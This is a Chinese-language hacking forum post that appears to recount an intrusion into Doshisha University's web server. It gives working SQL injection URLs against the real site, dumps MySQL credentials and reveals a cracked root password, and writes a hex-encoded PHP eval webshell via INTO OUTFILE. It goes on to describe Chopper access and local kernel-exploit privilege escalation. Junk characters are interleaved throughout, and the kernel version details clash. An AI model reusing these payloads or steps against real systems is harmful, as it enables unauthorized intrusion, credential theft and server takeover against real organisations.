入侵日本同志社大学技术分析
L# G5 I, c5 g \. r9 f3 V! x5 c
http://www.doshisha.ac.jp/chs/news/index.php?i=-1) x% u7 j9 r6 R
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:5 I7 H) D" k" k+ M# P8 ^3 m ^
1 n5 x R% z" k" g8 d* H
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
# l6 `8 R: i3 W" M; Q, }0 v4 C8 u2 D9 b0 [
6 a- Y6 I$ W* T. X0 l+ }( s
9 y9 p8 ~' j* u# h% b1 J: B) [) @//@@datadir为数据库文件路径 8 X: _# |" y8 w9 p
1 j. t) S6 P$ `& `, Y* D
+ Q& K+ }2 S: V
//load_file读取网站容器apache的配置文件
! q2 o; {* }, _# s3 j- f
1 Z! H: L- I D, X; G" E* P/ G
0 b0 r) h! a1 K7 U) G4 f2 a//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
4 u+ g' x" s/ W复制代码
* t' x; D" R8 `5 c5 s8 U+ R* r* m- E2 M& |
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。8 ]3 F" Z @4 i6 X. ?, t* e
7 ^; r. {1 b+ @9 X! c& h/ d4 U
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
+ h* P- U. @* ^$ ?, S(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)# ~2 t5 y+ c% K/ X/ C$ }5 W
5 A8 Z0 M) J7 ~. u+ y
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
7 s5 ?% A! p* P. K: m. |如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html4 @! g- v5 M3 P; ~1 O) ^2 }# Z4 ^9 @
0 z s; {# \9 A2 H" Z+ S2 v
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
4 C6 F j) v9 k$ k* y! ?" i虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。 z% x; g/ V' h. R. r \2 ]( o5 y+ n
直接写一句话:6 O) S- z# s: l$ }0 [( R) J. l
: }+ t9 A- \& Q& q( C1 E" E
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
' e& T& Z0 I) D2 b& w6 l+ H( g
9 H2 A( A) r3 f7 y ' R# l. G- e$ E7 h! L' y
! V, x: W6 @ F. ^
//最后的#是为了闭合前面的语句 , w1 u& l0 e! s: j
2 J2 L6 F' z4 l3 E0 `
8 U+ ]7 B/ r; G" J& e% v/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
! o' Q7 k4 h" m3 x
4 Q- t3 _8 v' K2 a4 {7 [7 p K8 \+ x1 a u
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ : e+ R8 |" k$ R5 h2 f7 M+ ]
; D8 w( W ?& d
4 D/ e" X( D: }& D T" M8 T- T( L//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
p; A5 S3 Z1 z3 G. b8 V( v6 P$ c7 {/ L
/ j) @7 T5 x6 N
& g# P* Z+ Y2 i7 l) `//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
4 Y( T3 \# S8 H3 j+ c; b//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” & f2 o0 V; }) }0 U2 m H& |' h
复制代码
, P- _2 g! R; b+ a' g6 c8 v' }1 t9 H/ d! W- Z, {/ p
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有6 M( s+ E. B+ H# @$ Z
通过上述注入语句,我们就得到了一句话木马:2 r1 ?* q: C6 n6 ]
' Z( Q0 U, y1 {6 R' W
! U9 ?2 b4 T, b6 b
8 t. S$ K( R$ v. C! a! f " F5 d; v* L/ }
' a$ L4 z3 J0 n& c& F8 R- @
http://www.doshisha.ac.jp/english/engnews_img/aa.php 3 S4 ^ u6 C9 `3 ?: d, r \! Q& t
复制代码. L' k& K: f" H+ j7 J& u4 S% \
: P- ~6 Y& V8 e+ {& s
用菜刀连接,密码是cmd,如图所示:
0 g1 h! T9 a; S. N. W- |9 ^' o然后在命令提示行里看了一下,现在的权限是:. b, P3 O1 W& Z/ ?) L+ J9 l9 e6 Z
* w( h7 W- n/ X: s9 Q$ V( X之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
3 P; `0 x: g9 N5 b- z9 @+ V, ^好在赋权给这个文件夹不需要root,直接执行赋权语句:
1 N; C$ W& ^3 G1 y* M8 ~ p L- r9 R8 J" ~
$ D: s: s( `: \9 }' H1 f" d7 i3 ?& a' ]' H7 X
# W+ y( }, D+ g3 o- L7 _# m
; h1 Q2 w E9 l
chmod +x /tmp/
9 O& n9 p4 ^# o% h: u复制代码
* R8 f _9 X2 R: g. c
+ n* f4 _+ W% ~; g9 W% \( x9 o在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行! b7 }1 I5 X. Q
然后就查了一下内核版本:( i6 t( C4 c0 \" [. h& ?# L
1 T% t& I' W* j . u+ E. G5 h5 O8 V
2 T3 C7 A0 g4 T+ N0 `. X
& D$ S' i3 y" S2 E W: |! E3 l
0 g* Y% r d& ~9 M# `2 z9 N* _uname-a ) }: B) @6 J j
2 Y9 m4 v+ [4 i
- L. M, |( \% i5 X$ r: E Z//其实lsb_release -a ! _- S$ k3 \! I9 i# P. Z" p
复制代码9 C( ]) R; L& x8 z7 d0 k
6 k0 Z9 F2 k/ ]# W2 `3 M如图所示:* R% D2 B k3 E& C3 U" _
8 s$ b- m" ]6 W4 c
内核版本:linux mainz1 2.6.28-194.e15
& p) B- d7 A3 d! d( e+ m系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
\. u! q5 E* C7 o9 _查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
& w! I. z9 C( R7 k2 e4 d' n' C
- X* N/ y7 Z2 l* k$ ?! h然后给予执行权限
. E9 x" P* u+ \ k6 m e6 j一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
& d* M7 O: j8 L3 W P) S" J) G
9 z/ C4 `' X3 y- \5 j% J$ G- ]
% w3 }5 Y+ Q, q/ R; h( T/ X8 F# y$ M+ a5 i
% Z7 q- }. E$ W- J' X* l/ j( M; f; C2 O. Z
chmod +x /tmp/2.6.18-194
' r2 g P/ G% Y: k& a) Q1 y复制代码 然后直接执行!~
2 {" [' [" Y2 m* }/ j0 ]0 n. [0 \' `# }& ~, h8 {9 a- f
总结:
: {0 w% m) @5 k U$ _5 {, J这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了* J/ B( k y) V3 u/ } x& n$ a( G7 o
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root% q6 w+ B# S/ A5 m
+ d4 K& C6 W0 |/ c/ S# ?5 f; x
|